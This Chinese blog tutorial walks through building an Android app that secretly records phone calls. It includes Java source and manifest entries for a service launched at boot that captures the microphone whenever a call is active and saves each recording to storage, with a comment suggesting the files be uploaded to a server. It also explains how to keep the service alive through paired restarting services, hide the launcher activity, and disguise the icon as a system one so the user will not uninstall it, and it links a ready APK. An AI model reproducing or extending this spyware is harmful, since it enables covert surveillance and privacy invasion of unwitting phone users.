一、開頭先廢話下(忍耐下...)
1.今天天氣不錯,已經確定沒有其他事了,心裏很平靜,就開始總結下。發現寫總結看起來簡單,但是其實很考驗人,因爲有時會覺得沒有意義,沒有人會看,沒有人會關注。就當做自我的一個筆記,很多年看到這,就會會心一笑,這個時候的我多幼稚。可能這個就是成長吧。
2.監(qie)聽電話原理其實很簡單,就是利用android系統提供的api實現。
二、步入正題(不能囉嗦太多...)
1.首先新建一個SystemService繼承Service
2.拿到TelephoneManager的實例,調用它的listen方法
<span style="font-size:18px;">
* Registers a listener object to receive notification of changes
* in specified telephony states.
* <p>
* To register a listener, pass a {@link PhoneStateListener}
* and specify at least one telephony state of interest in
* the events argument.
*
* At registration, and when a specified telephony state
* changes, the telephony manager invokes the appropriate
* callback method on the listener object and passes the
* current (udpated) values.
* <p>
* To unregister a listener, pass the listener object and set the
* events argument to
* {@link PhoneStateListener#LISTEN_NONE LISTEN_NONE} (0).
*
* @param listener The {@link PhoneStateListener} object to register
* (or unregister)
* @param events The telephony state(s) of interest to the listener,
* as a bitwise-OR combination of {@link PhoneStateListener}
* LISTEN_ flags.
*/
public void listen(PhoneStateListener listener, int events) {
String pkgForDebug = mContext != null ? mContext.getPackageName() : "<unknown>";
try {
Boolean notifyNow = true;
sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);
} catch (RemoteException ex) {
// system process dead
} catch (NullPointerException ex) {
// system process dead
}
}</span>
這個是源碼,簡單的說就是listen方法第一個參數就是給對象註冊監聽事件,第二個參數就是你要監聽的對象內容。
3.電話有很多種狀態,在不同的狀態下寫你自己的事件(後面代碼註釋很詳細)
4.實例化一個錄音機,當通話狀態時,開始錄用,通話狀態結束時,把音頻文件在後臺上傳到服務器,實例化錄用代碼註釋很詳細。
5.如何監聽它了??這個就需要用到廣播。它的作用就是隻要用戶一開機就開始進行監聽。把我們上面的SystemService這個服務開啓起來。使用 android.intent.action.BOOT_COMPLETED這個廣播就能一開機就開始監聽。相當於用戶一開機就把服務開起來。
<span style="font-size:18px;">
* 監聽android開機廣播(只要手機一開機就開始監聽)
*/
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,SystemService.class);
context.startService(i);
}
}
</span>
6.採用守護線程,當你的服務OnDestroy的時候,開啓另外的一個服務,這樣除非用戶同時關掉兩個,不然不能把你的應用完全殺88死。你的應用可以死而復生。
7.MyActivity裏面設置了兩個按鈕一個開啓服務,一個關閉服務,方便學習。當然你也可以讓用戶一安裝你的應用,就看不到(直接在OnCreate這個生命週期調用finish())。然後把你的圖標換成系統圖標,這樣用戶就不敢隨便卸載。然後惡作劇就成功了....
8.記得在AndroidManifest.xml添加權限和註冊
<span style="font-size:18px;"> <uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application android:label="@string/app_name" android:icon="@drawable/ic_launcher">
<activity android:name="MyActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<service android:name="com.andrew.systemservice.SystemService" />
<service android:name="com.andrew.systemservice.SystemService2" />
<receiver android:name="com.andrew.systemservice.BootReceiver" >
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application></span>
三、貼代碼(夠直接吧....)
1.SystemService
<span style="font-size:18px;">
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;
import java.io.File;
public class SystemService extends Service {
// 電話管理器
private TelephonyManager tm;
// 監聽器對象
private MyListener listener;
//聲明錄音機
private MediaRecorder mediaRecorder;
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 服務創建的時候調用的方法
*/
@Override
public void onCreate() {
// 後臺監聽電話的呼叫狀態。
// 得到電話管理器
tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
listener = new MyListener();
tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class MyListener extends PhoneStateListener {
// 當電話的呼叫狀態發生變化的時候調用的方法
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空閒狀態。
if(mediaRecorder!=null){
//8.停止捕獲
mediaRecorder.stop();
//9.釋放資源
mediaRecorder.release();
mediaRecorder = null;
//TODO 這個地方你可以將錄製完畢的音頻文件上傳到服務器,這樣就可以監聽了
Log.i("SystemService", "音頻文件錄製完畢,可以在後臺上傳到服務器");
}
break;
case TelephonyManager.CALL_STATE_RINGING://零響狀態。
break;
case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
//開始錄音
//1.實例化一個錄音機
mediaRecorder = new MediaRecorder();
//2.指定錄音機的聲音源
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
//3.設置錄製的文件輸出的格式
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
//4.指定錄音文件的名稱
File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
mediaRecorder.setOutputFile(file.getAbsolutePath());
//5.設置音頻的編碼
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
//6.準備開始錄音
mediaRecorder.prepare();
//7.開始錄音
mediaRecorder.start();
break;
default:
break;
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
/**
* 服務銷燬的時候調用的方法
*/
@Override
public void onDestroy() {
super.onDestroy();
// 取消電話的監聽,採取線程守護的方法,當一個服務關閉後,開啓另外一個服務,除非你很快把兩個服務同時關閉才能完成
Intent i = new Intent(this,SystemService2.class);
startService(i);
tm.listen(listener, PhoneStateListener.LISTEN_NONE);
listener = null;
}
}
</span>
2.BootReceive
<span style="font-size:18px;">
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
/**
* 監聽android開機廣播(只要手機一開機就開始監聽)
*/
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent i = new Intent(context,SystemService.class);
context.startService(i);
}
}
</span>
四、完整代碼請移步下載
github下載地址:https://github.com/hongxialiu/PhoneListener
CSDN免費下載地址:http://download.csdn.net/detail/u011176685/9328861
自己做的APK只是簽名了下,下載地址:http://pan.baidu.com/s/1hqvvqOO
轉載請註明:轉自http://blog.csdn.net/u011176685/article/details/50185829
歡迎關注個人微信公衆號,專注於Android深度文章和移動前沿技術分享